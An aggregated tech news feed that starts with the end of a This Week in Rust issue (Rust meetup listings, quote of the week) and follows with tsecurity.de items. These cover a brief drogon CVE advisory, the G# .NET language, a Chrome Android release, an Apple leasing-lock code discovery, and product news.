<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
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<title><![CDATA[CVE-2022-3959 | drogon up to 1.8.1 Session Hash random values (EUVD-2022-43292)]]></title>
<description><![CDATA[A vulnerability was found in drogon up to 1.8.1. It has been classified as problematic. This affects an unknown function of the component Session Hash Handler. This manipulation causes small space of random values.

This vulnerability appears as CVE-2022-3959. The attack may be initiated remotely...]]></description>
<link>https://tsecurity.de/de/3687964/sicherheitsluecken/cve-2022-3959-drogon-up-to-181-session-hash-random-values-euvd-2022-43292/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687964/sicherheitsluecken/cve-2022-3959-drogon-up-to-181-session-hash-random-values-euvd-2022-43292/</guid>
<pubDate>Thu, 23 Jul 2026 06:30:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/drogon">drogon up to 1.8.1</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown function of the component <em>Session Hash Handler</em>. This manipulation causes small space of random values.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2022-3959">CVE-2022-3959</a>. The attack may be initiated remotely. There is no available exploit.

Upgrading the affected component is recommended.]]></content:encoded>
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<title><![CDATA[G# language for .NET borrows from Go, Kotlin, and Swift]]></title>
<description><![CDATA[G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.



Although pre-1.0 and still growi...]]></description>
<link>https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</guid>
<pubDate>Thu, 23 Jul 2026 04:08:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://github.com/DavidObando/gsharp" data-type="link" data-id="https://github.com/DavidObando/gsharp">G# (GSharp)</a><strong> </strong>is moving forward as a programming language for Microsoft’s <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> platform, touted as bringing <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>-, <a href="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html">Kotlin</a>-, and <a href="https://www.infoworld.com/article/4150248/swift-6-3-boosts-c-interoperability-android-sdk.html">Swift</a>-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.</p>



<p class="wp-block-paragraph">Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, <code>func</code>, structs, slices, maps, channels, <code>go</code>, <code>select</code>, and <code>for in</code> iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency. </p>



<p class="wp-block-paragraph">With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses <code>scope</code> for structured concurrency, <code>async func</code><strong> </strong>and <code>await</code><strong> </strong>for task-based asynchrony, and <code>async sequence[T]</code> for asynchronous streams. G# also makes use of the same <code>Task</code> and <code>Task[T]</code> types familiar from the .NET BCL (Base Class Library).</p>



<p class="wp-block-paragraph">G# documentation is <a href="https://davidobando.github.io/gsharp/" data-type="link" data-id="https://davidobando.github.io/gsharp/">available on the GitHub site</a> of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and <code>for in</code><strong> </strong>over <code>IEnumerable[T]</code> all just work,” according to the website.</p>



<p class="wp-block-paragraph">A Visual Studio Code extension for G3 can be found at <a href="https://marketplace.visualstudio.com/items?itemName=gsharplang.vscode-gsharp">marketplace.visualstudio.com</a>. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for <code>.gs</code> and <code>.gsproj</code> files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.</p>
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<title><![CDATA[Chrome for Android Update]]></title>
<description><![CDATA[ Hello Everyone! We've just released Chrome 151 (151.0.7922.47) for Android to a small percentage of users. It'll become available on Google Play over the next few days. You can find more details about early Stable releases here.This release includes stability and performance improvements. You ca...]]></description>
<link>https://tsecurity.de/de/3687836/it-security-nachrichten/chrome-for-android-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687836/it-security-nachrichten/chrome-for-android-update/</guid>
<pubDate>Thu, 23 Jul 2026 03:11:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p> Hello Everyone! We've just released Chrome 151 (151.0.7922.47) for Android to a small percentage of users. It'll become <a href="https://play.google.com/store/apps/details?id=com.android.chrome">available on Google Play</a> over the next few days. You can find more details about early Stable releases <a href="https://developer.chrome.com/blog/early-stable/">here</a>.</p>This release includes stability and performance improvements. You can see a full list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.181..151.0.7922.47?pretty=fuller&amp;n=10000">Git log</a>. If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=Android%20Issue">filing a bug</a>.<br><br>Harry Souders<br><a href="https://www.google.com/chrome/">Google Chrome</a>]]></content:encoded>
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<title><![CDATA[Brydge ProDock Trio review: An elite space-saving MacBook dock]]></title>
<description><![CDATA[The Brydge ProDock Trio is a rarity amongst Thunderbolt docks, offering a compact vertical MacBook stand alongside a MagSafe phone charger.Brydge ProDock Trio review: Sitting on my desk and freeing spaceAll USB-C and Thunderbolt docks I've tested have been largely the same as boxes that connect w...]]></description>
<link>https://tsecurity.de/de/3687803/ios-mac-os/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687803/ios-mac-os/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock/</guid>
<pubDate>Thu, 23 Jul 2026 02:12:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Brydge ProDock Trio is a rarity amongst Thunderbolt docks, offering a compact vertical MacBook stand alongside a <a href="https://appleinsider.com/inside/magsafe" title="MagSafe" data-kpt="1">MagSafe</a> phone charger.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68297-143984-Brydge-ProDock-on-Desk-xl.jpg" alt="Minimalist desk setup with a black vertical laptop stand, smartphone, small potted plant, camera lens-shaped cup, and a white trackpad on a gray desk mat against a soft blue background" height="738"><br><span>Brydge ProDock Trio review: Sitting on my desk and freeing space</span></div><br>All USB-C and Thunderbolt docks I've tested have been largely the same as boxes that connect with a bundled cable. They have different ports and different technical specs.<br><br>Brydge goes a different route, opting for a new version of its vertical ProDock. Your <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> is physically docked in the device, working in clamshell mode and keeping your desk free and open.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245030?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[v8.21.0-beta.1]]></title>
<description><![CDATA[Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!]]></description>
<link>https://tsecurity.de/de/3687731/tools/v8210-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687731/tools/v8210-beta1/</guid>
<pubDate>Thu, 23 Jul 2026 00:55:44 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!</li>
</ul>]]></content:encoded>
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<title><![CDATA[iOS 27 Code Suggests Apple Could Restrict Leased Devices After Missed Payments]]></title>
<description><![CDATA[Code found in the iOS 27 beta suggests Apple is developing a system that could restrict leased iPhones when customers fall behind on payments. The discovery follows a recent Bloomberg report that Apple may soon launch a new "Apple Upgrade" leasing program, allowing customers to pay for hardware t...]]></description>
<link>https://tsecurity.de/de/3687698/it-security-nachrichten/ios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687698/it-security-nachrichten/ios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments/</guid>
<pubDate>Thu, 23 Jul 2026 00:18:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Code found in the iOS 27 beta suggests Apple is developing a system that could restrict leased iPhones when customers fall behind on payments. The discovery follows a recent Bloomberg report that Apple may soon launch a new "Apple Upgrade" leasing program, allowing customers to pay for hardware through monthly installments. 9to5Mac reports: The code describes a system called App Managed Features, which allows an authorized financing or provider app to enroll an iPhone and perform ongoing status checks. If the contract is no longer in good standing, Apple's system services can place the iPhone in "Restricted Mode," which blocks access to most apps until the payment or contract issue is resolved, while keeping a small set of apps available. The fixed allowlist currently found in the iOS 27 beta includes: Accessibility Reader, App Store, Health, Magnifier, Phone, Clock, Settings, Wallet, Passwords, and the Restricted Mode interface itself.
 
Apps that can send critical alerts, such as Messages, Home, and certain medication or safety apps, may also remain accessible. However, the provider appears to have some control over those exceptions. The code does not appear to cancel, suspend, or otherwise modify App Store subscriptions associated with blocked apps. As a result, a subscription could continue billing even while access to its app is restricted.
 
Additionally, there isn't a fixed number of missed payments that automatically triggers the restrictions. The financing provider's app decides when to lock the device based on its own policies. Finally, the new framework also introduces a new type of activation lock called "Partner Finance Lock," which is meant to prevent users from erasing, reselling, or stripping a restricted device for parts.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=iOS+27+Code+Suggests+Apple+Could+Restrict+Leased+Devices+After+Missed+Payments%3A+https%3A%2F%2Fapple.slashdot.org%2Fstory%2F26%2F07%2F22%2F2050240%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fapple.slashdot.org%2Fstory%2F26%2F07%2F22%2F2050240%2Fios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://apple.slashdot.org/story/26/07/22/2050240/ios-27-code-suggests-apple-could-restrict-leased-devices-after-missed-payments?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Apple Store app Virtual Shopping Assistant could be coming soon]]></title>
<description><![CDATA[The privacy policy for the Apple Store app suggests that a new feature called Virtual Shopping Assistant could be implemented soon. It may function similarly to the Apple Support Assistant.Apple Support already has a chatbot, and soon, Apple Store will tooApple has been slowly increasing its use ...]]></description>
<link>https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/</guid>
<pubDate>Thu, 23 Jul 2026 00:00:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The privacy policy for the Apple Store app suggests that a new feature called Virtual Shopping Assistant could be implemented soon. It may function similarly to the Apple Support Assistant.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68330-144031-Apple-Support-Assistant-chat-icon-xl.jpg" alt="Glowing blue chat bubble with sparkles in the center on a dark background, surrounded by small colorful app and system icons scattered around it" height="738"><br><span>Apple Support already has a chatbot, and soon, Apple Store will too</span></div><br>Apple has been slowly <a href="https://appleinsider.com/articles/26/07/19/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation">increasing its use</a> of AI tools both internally and in public-facing apps. While Apple still relies on humans for some support inquiries, AI is being offered in more locations.<br><br>It seems Apple may have let slip that a new feature is coming to the Apple Store app. The Virtual Shopping Assistant feature is called out in the Apple Store app <a href="https://www.apple.com/legal/privacy/data/en/apple-store-app/">privacy policy</a>, which was <a href="https://www.macrumors.com/2026/07/22/apple-store-app-shopping-assistant/">first spotted</a> by <em>MacRumors</em>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/apple-store-app-virtual-shopping-assistant-could-be-coming-soon?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245029?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
